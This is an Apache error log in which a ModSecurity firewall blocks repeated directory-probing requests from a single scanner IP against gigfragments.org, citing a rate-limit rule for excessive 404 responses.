[Mon Jan 05 18:25:24.509208 2026] [:error] [pid 5536:tid 5611] [client 156.146.33.76:56600] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aVuRlARtMZNG6xI8yDzGUAAAAI4"]
[Mon Jan 05 18:25:25.092195 2026] [:error] [pid 5535:tid 5577] [client 156.146.33.76:56614] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/admin/"] [unique_id "aVuRlWnkedMjhVX0PTVXWAAAAEc"]
[Mon Jan 05 18:25:25.674189 2026] [:error] [pid 28407:tid 28434] [client 156.146.33.76:56618] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aVuRldercd3ptydUzM0rNgAAAZc"]
[Mon Jan 05 18:25:26.259757 2026] [:error] [pid 54081:tid 54092] [client 156.146.33.76:43324] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aVuRllL4jLgtF-b9w4dqFwAAAUg"]
[Mon Jan 05 18:25:26.840135 2026] [:error] [pid 6680:tid 6688] [client 156.146.33.76:43330] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aVuRlqE58uNoazzTmx3R6QAAAQY"]
[Mon Jan 05 18:25:27.429327 2026] [:error] [pid 5535:tid 5572] [client 156.146.33.76:43338] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/"] [unique_id "aVuRl2nkedMjhVX0PTVXWwAAAEI"]
[Mon Jan 05 18:25:28.013038 2026] [:error] [pid 6680:tid 6703] [client 156.146.33.76:43348] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aVuRmKE58uNoazzTmx3R8QAAARU"]
[Mon Jan 05 18:25:28.598962 2026] [:error] [pid 6680:tid 6689] [client 156.146.33.76:43360] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aVuRmKE58uNoazzTmx3R9QAAAQc"]
[Mon Jan 05 18:25:29.185236 2026] [:error] [pid 6680:tid 6687] [client 156.146.33.76:43370] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aVuRmaE58uNoazzTmx3R-AAAAQU"]
[Mon Jan 05 18:25:29.774202 2026] [:error] [pid 5535:tid 5582] [client 156.146.33.76:43386] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/"] [unique_id "aVuRmWnkedMjhVX0PTVXXgAAAEw"]
[Mon Jan 05 18:25:30.360464 2026] [:error] [pid 54081:tid 54101] [client 156.146.33.76:43396] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aVuRmlL4jLgtF-b9w4dqIQAAAVE"]
[Mon Jan 05 18:25:30.946873 2026] [:error] [pid 54081:tid 54087] [client 156.146.33.76:43410] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aVuRmlL4jLgtF-b9w4dqJAAAAUM"]
[Mon Jan 05 18:25:31.526964 2026] [:error] [pid 5632:tid 5668] [client 156.146.33.76:43418] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aVuRm4N3ZWvlOh-nbt-q9wAAANg"]
[Mon Jan 05 18:25:32.117415 2026] [:error] [pid 6680:tid 6702] [client 156.146.33.76:43424] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/phpunit/phpunit/src/Util/PHP/"] [unique_id "aVuRnKE58uNoazzTmx3R_QAAARQ"]
[Mon Jan 05 18:25:32.705420 2026] [:error] [pid 6680:tid 6699] [client 156.146.33.76:43438] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/image/"] [unique_id "aVuRnKE58uNoazzTmx3SAQAAARE"]
[Mon Jan 05 18:25:33.283921 2026] [:error] [pid 28407:tid 28425] [client 156.146.33.76:43450] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/image/"] [unique_id "aVuRndercd3ptydUzM0rPgAAAY4"]
[Mon Jan 05 18:25:33.862105 2026] [:error] [pid 6680:tid 6688] [client 156.146.33.76:43456] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/image/"] [unique_id "aVuRnaE58uNoazzTmx3SCQAAAQY"]
[Mon Jan 05 18:25:34.442469 2026] [:error] [pid 5536:tid 5616] [client 156.146.33.76:43472] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/upload/image/"] [unique_id "aVuRngRtMZNG6xI8yDzGWQAAAJM"]
[Mon Jan 05 18:25:35.036209 2026] [:error] [pid 5534:tid 5555] [client 156.146.33.76:43476] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aVuRn5Ns9XmbR6unB0yb7gAAAAw"]
[Mon Jan 05 18:25:35.636992 2026] [:error] [pid 6680:tid 6704] [client 156.146.33.76:43480] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aVuRn6E58uNoazzTmx3SDgAAARY"]
[Mon Jan 05 18:25:36.224891 2026] [:error] [pid 6680:tid 6682] [client 156.146.33.76:38250] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aVuRoKE58uNoazzTmx3SEQAAAQA"]
[Mon Jan 05 18:25:36.804799 2026] [:error] [pid 6680:tid 6686] [client 156.146.33.76:38260] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/assets/images/"] [unique_id "aVuRoKE58uNoazzTmx3SGQAAAQQ"]
[Mon Jan 05 18:25:37.403336 2026] [:error] [pid 54081:tid 54101] [client 156.146.33.76:38262] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Public/"] [unique_id "aVuRoVL4jLgtF-b9w4dqKAAAAVE"]
[Mon Jan 05 18:25:37.988882 2026] [:error] [pid 5535:tid 5594] [client 156.146.33.76:38266] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Public/"] [unique_id "aVuRoWnkedMjhVX0PTVXcgAAAFg"]
[Mon Jan 05 18:25:38.576180 2026] [:error] [pid 5632:tid 5657] [client 156.146.33.76:38268] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Public/"] [unique_id "aVuRooN3ZWvlOh-nbt-q_gAAAM0"]
[Mon Jan 05 18:25:39.164798 2026] [:error] [pid 5535:tid 5583] [client 156.146.33.76:38274] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Public/"] [unique_id "aVuRo2nkedMjhVX0PTVXegAAAE0"]
[Mon Jan 05 18:25:39.752804 2026] [:error] [pid 5632:tid 5665] [client 156.146.33.76:38290] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/"] [unique_id "aVuRo4N3ZWvlOh-nbt-rAwAAANU"]
[Mon Jan 05 18:25:40.335199 2026] [:error] [pid 54081:tid 54090] [client 156.146.33.76:38304] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/"] [unique_id "aVuRpFL4jLgtF-b9w4dqLgAAAUY"]
[Mon Jan 05 18:25:40.920468 2026] [:error] [pid 5535:tid 5578] [client 156.146.33.76:38310] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/"] [unique_id "aVuRpGnkedMjhVX0PTVXgQAAAEg"]
[Mon Jan 05 18:25:41.509477 2026] [:error] [pid 5534:tid 5558] [client 156.146.33.76:38322] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vendor/"] [unique_id "aVuRpZNs9XmbR6unB0yb9gAAAA8"]
[Mon Jan 05 18:25:42.101020 2026] [:error] [pid 28407:tid 28423] [client 156.146.33.76:38326] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/local/"] [unique_id "aVuRptercd3ptydUzM0rRAAAAYw"]
[Mon Jan 05 18:25:42.686499 2026] [:error] [pid 5534:tid 5550] [client 156.146.33.76:38340] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/local/"] [unique_id "aVuRppNs9XmbR6unB0yb-QAAAAc"]
[Mon Jan 05 18:25:43.348700 2026] [:error] [pid 54081:tid 54105] [client 156.146.33.76:38350] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/local/"] [unique_id "aVuRp1L4jLgtF-b9w4dqNwAAAVU"]
[Mon Jan 05 18:25:43.939427 2026] [:error] [pid 5534:tid 5559] [client 156.146.33.76:38360] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/local/"] [unique_id "aVuRp5Ns9XmbR6unB0yb_QAAABA"]
[Mon Jan 05 18:25:44.519156 2026] [:error] [pid 28407:tid 28427] [client 156.146.33.76:38362] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aVuRqNercd3ptydUzM0rTAAAAZA"]
[Mon Jan 05 18:25:45.106215 2026] [:error] [pid 6680:tid 6699] [client 156.146.33.76:38366] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aVuRqaE58uNoazzTmx3SJwAAARE"]
[Mon Jan 05 18:25:45.686079 2026] [:error] [pid 28407:tid 28421] [client 156.146.33.76:38374] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aVuRqdercd3ptydUzM0rTwAAAYo"]
[Mon Jan 05 18:25:46.265933 2026] [:error] [pid 5535:tid 5592] [client 156.146.33.76:57796] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/modules/"] [unique_id "aVuRqmnkedMjhVX0PTVXiQAAAFY"]
[Mon Jan 05 18:25:46.855009 2026] [:error] [pid 6680:tid 6697] [client 156.146.33.76:57808] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Site/"] [unique_id "aVuRqqE58uNoazzTmx3SLAAAAQ8"]
[Mon Jan 05 18:25:47.441893 2026] [:error] [pid 54081:tid 54092] [client 156.146.33.76:57824] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Site/"] [unique_id "aVuRq1L4jLgtF-b9w4dqPwAAAUg"]
[Mon Jan 05 18:25:48.024200 2026] [:error] [pid 54081:tid 54097] [client 156.146.33.76:57832] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Site/"] [unique_id "aVuRrFL4jLgtF-b9w4dqQAAAAU0"]
[Mon Jan 05 18:25:48.607283 2026] [:error] [pid 28407:tid 28423] [client 156.146.33.76:57844] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/Site/"] [unique_id "aVuRrNercd3ptydUzM0rVAAAAYw"]
[Mon Jan 05 18:25:49.212076 2026] [:error] [pid 5632:tid 5662] [client 156.146.33.76:57852] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/"] [unique_id "aVuRrYN3ZWvlOh-nbt-rFAAAANI"]
[Mon Jan 05 18:25:49.792780 2026] [:error] [pid 6680:tid 6701] [client 156.146.33.76:57862] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/"] [unique_id "aVuRraE58uNoazzTmx3SMgAAARM"]
[Mon Jan 05 18:25:50.372862 2026] [:error] [pid 5632:tid 5657] [client 156.146.33.76:57868] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/"] [unique_id "aVuRroN3ZWvlOh-nbt-rGwAAAM0"]
[Mon Jan 05 18:25:50.958791 2026] [:error] [pid 5534:tid 5550] [client 156.146.33.76:57880] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/system/"] [unique_id "aVuRrpNs9XmbR6unB0ycDQAAAAc"]
[Mon Jan 05 18:25:51.544489 2026] [:error] [pid 54081:tid 54098] [client 156.146.33.76:57892] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/template/"] [unique_id "aVuRr1L4jLgtF-b9w4dqRgAAAU4"]
[Mon Jan 05 18:25:52.122870 2026] [:error] [pid 28407:tid 28410] [client 156.146.33.76:57898] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/template/"] [unique_id "aVuRsNercd3ptydUzM0rWAAAAYA"]
[Mon Jan 05 18:25:52.701724 2026] [:error] [pid 5536:tid 5609] [client 156.146.33.76:57900] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/template/"] [unique_id "aVuRsARtMZNG6xI8yDzGbwAAAIw"]
[Mon Jan 05 18:25:53.298489 2026] [:error] [pid 5535:tid 5572] [client 156.146.33.76:57910] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/template/"] [unique_id "aVuRsWnkedMjhVX0PTVXjwAAAEI"]
[Mon Jan 05 18:25:53.888220 2026] [:error] [pid 5535:tid 5577] [client 156.146.33.76:57922] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/"] [unique_id "aVuRsWnkedMjhVX0PTVXkgAAAEc"]
[Mon Jan 05 18:25:54.469087 2026] [:error] [pid 5536:tid 5607] [client 156.146.33.76:57926] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/"] [unique_id "aVuRsgRtMZNG6xI8yDzGcQAAAIo"]
[Mon Jan 05 18:25:55.053132 2026] [:error] [pid 5536:tid 5599] [client 156.146.33.76:57938] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/"] [unique_id "aVuRswRtMZNG6xI8yDzGcwAAAII"]
[Mon Jan 05 18:25:55.643153 2026] [:error] [pid 28407:tid 28417] [client 156.146.33.76:57944] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/shop/"] [unique_id "aVuRs9ercd3ptydUzM0rXQAAAYc"]
[Mon Jan 05 18:25:56.230212 2026] [:error] [pid 5632:tid 5650] [client 156.146.33.76:40970] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aVuRtIN3ZWvlOh-nbt-rLAAAAMY"]
[Mon Jan 05 18:25:56.827587 2026] [:error] [pid 5536:tid 5601] [client 156.146.33.76:40976] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aVuRtARtMZNG6xI8yDzGdQAAAIQ"]
[Mon Jan 05 18:25:57.414959 2026] [:error] [pid 5536:tid 5597] [client 156.146.33.76:40986] [client 156.146.33.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/files/"] [unique_id "aVuRtQRtMZNG6xI8yDzGeAAAAIA"]
